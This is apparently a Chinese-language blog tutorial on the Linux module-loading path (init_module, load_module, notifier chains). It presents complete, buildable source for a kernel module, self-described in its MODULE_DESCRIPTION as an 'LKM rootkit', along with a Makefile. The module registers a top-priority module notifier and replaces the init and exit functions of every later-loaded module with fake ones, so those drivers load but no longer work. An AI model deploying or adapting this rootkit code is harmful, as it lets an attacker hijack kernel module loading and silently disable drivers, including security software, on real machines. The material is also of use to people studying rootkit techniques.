当插入一个内核驱动时,一般会使用工具insmod,该工具实际上调用了系统调用init_module,在该系统调用函数中,首先调用 load_module,把用户空间传入的整个内核模块文件创建成一个内核模块,返回一个struct module结构体。内核中便以这个结构体代表这个内核模块。
- init_module系统调用定义,可以看到主要是调用了load_module。
- 在load_module中,主要prepare_coming_module,准备将内核模块进行加载。
- prepare_coming_module中经过一系列的调用,最终执行到notifier_call_chain函数,并且执行了notifier_call回调函数,notifier_call就是需要hook的函数。
我们注册的通知链处理函数是在 notifier_call_chain函数里被调用的,调用层次为: blocking_notifier_call_chain ->__blocking_notifier_call_chain -> notifier_call_chain 。
HOOK内核驱动:
- Notifier chains通过注册的函数调用来通知异步事件或状态。注册或者注销模块通知处理函数可以使用 register_module_notifier 或者unregister_module_notifier 函数。
struct notifier_block nb = {
.notifier_call = module_notifier,
.priority = INT_MAX
};
- MODULE_STATE_COMING:模块当前正在被加载。MODULE_STATE_LIVE:模块当前正常使用中(存活状态)。MODULE_STATE_GOING:模块当前正在被卸载。
int module_notifier(struct notifier_block *nb, unsigned long action, void *data)
{
struct module *module;
unsigned long flags;
/*声明一个自旋锁x并初始化它*/
DEFINE_SPINLOCK(module_notifier_spinlock);
module = data;
/*自旋锁*/
spin_lock_irqsave(&module_notifier_spinlock, flags);
switch (module->state) {
case MODULE_STATE_COMING:
printk("Kernel Module: %s\n", module->name);
/*将初始化和退出函数换成自定义的函数*/
module->init = hook_init;
module->exit = hook_exit;
break;
default:
break;
}
/*解锁*/
spin_unlock_irqrestore(&module_notifier_spinlock, flags);
return NOTIFY_DONE;
}
- 加载HOOK内核驱动。
- 加载其他驱动,可以看到打印了Fake init和加载的模块名,证明已经hook成功。
- 虽然其他的内核驱动已经正常加载进去了,但是也是无法正常原本的功能。
源码:
# include <linux/module.h>
# include <linux/kernel.h>
# include <linux/notifier.h>
int hook_init(void);
void hook_exit(void);
int module_notifier(struct notifier_block *nb, unsigned long action, void *data);
struct notifier_block nb = {
.notifier_call = module_notifier,
.priority = INT_MAX
};
int init_my_module(void)
{
printk("init_my_module!\n");
/*注册notifier_block,函数用于注册需要知道当前模块的状态,然后触发一个回调函数*/
int ret = register_module_notifier(&nb);
if(ret){
printk("Failed to register tracepoint module enter notifier\n");
return -1;
}
printk("module name: %s\n", THIS_MODULE->name);
printk("module state: %d\n", THIS_MODULE->state);
return 0;
}
void exit_my_module(void)
{
unregister_module_notifier(&nb);
printk("exit_my_module!\n");
return;
}
int module_notifier(struct notifier_block *nb, unsigned long action, void *data)
{
struct module *module;
unsigned long flags;
/*声明一个自旋锁x并初始化它*/
DEFINE_SPINLOCK(module_notifier_spinlock);
module = data;
/*自旋锁*/
spin_lock_irqsave(&module_notifier_spinlock, flags);
switch (module->state) {
case MODULE_STATE_COMING:
printk("Kernel Module: %s\n", module->name);
/*将初始化和退出函数换成自定义的函数*/
module->init = hook_init;
module->exit = hook_exit;
break;
default:
break;
}
/*解锁*/
spin_unlock_irqrestore(&module_notifier_spinlock, flags);
return NOTIFY_DONE;
}
int hook_init(void)
{
printk("Fake init\n");
return 0;
}
void hook_exit(void)
{
printk("Fake exit\n");
return;
}
module_init(init_my_module);
module_exit(exit_my_module);
MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("lkm");
MODULE_DESCRIPTION("LKM rootkit");
Makefile:
KVERS = $(shell uname -r)
obj-m += kernelLoad.o
#EXTRA_CFLAGS = -g -O0
build: kernel_modules
kernel_modules:
make -C /lib/modules/$(KVERS)/build M=$(CURDIR) modules
clean:
make -C /lib/modules/$(KVERS)/build M=$(CURDIR) clean
参考:
https://0xax.gitbooks.io/linux-insides/content/Concepts/linux-cpu-4.html
https://www.opensourceforu.com/2009/01/the-crux-of-linux-notifier-chains/
https://www.cnblogs.com/sky-heaven/p/4554614.html
https://blog.youkuaiyun.com/damontive/article/details/18313729
https://www.cnblogs.com/likaiming/p/11002351.html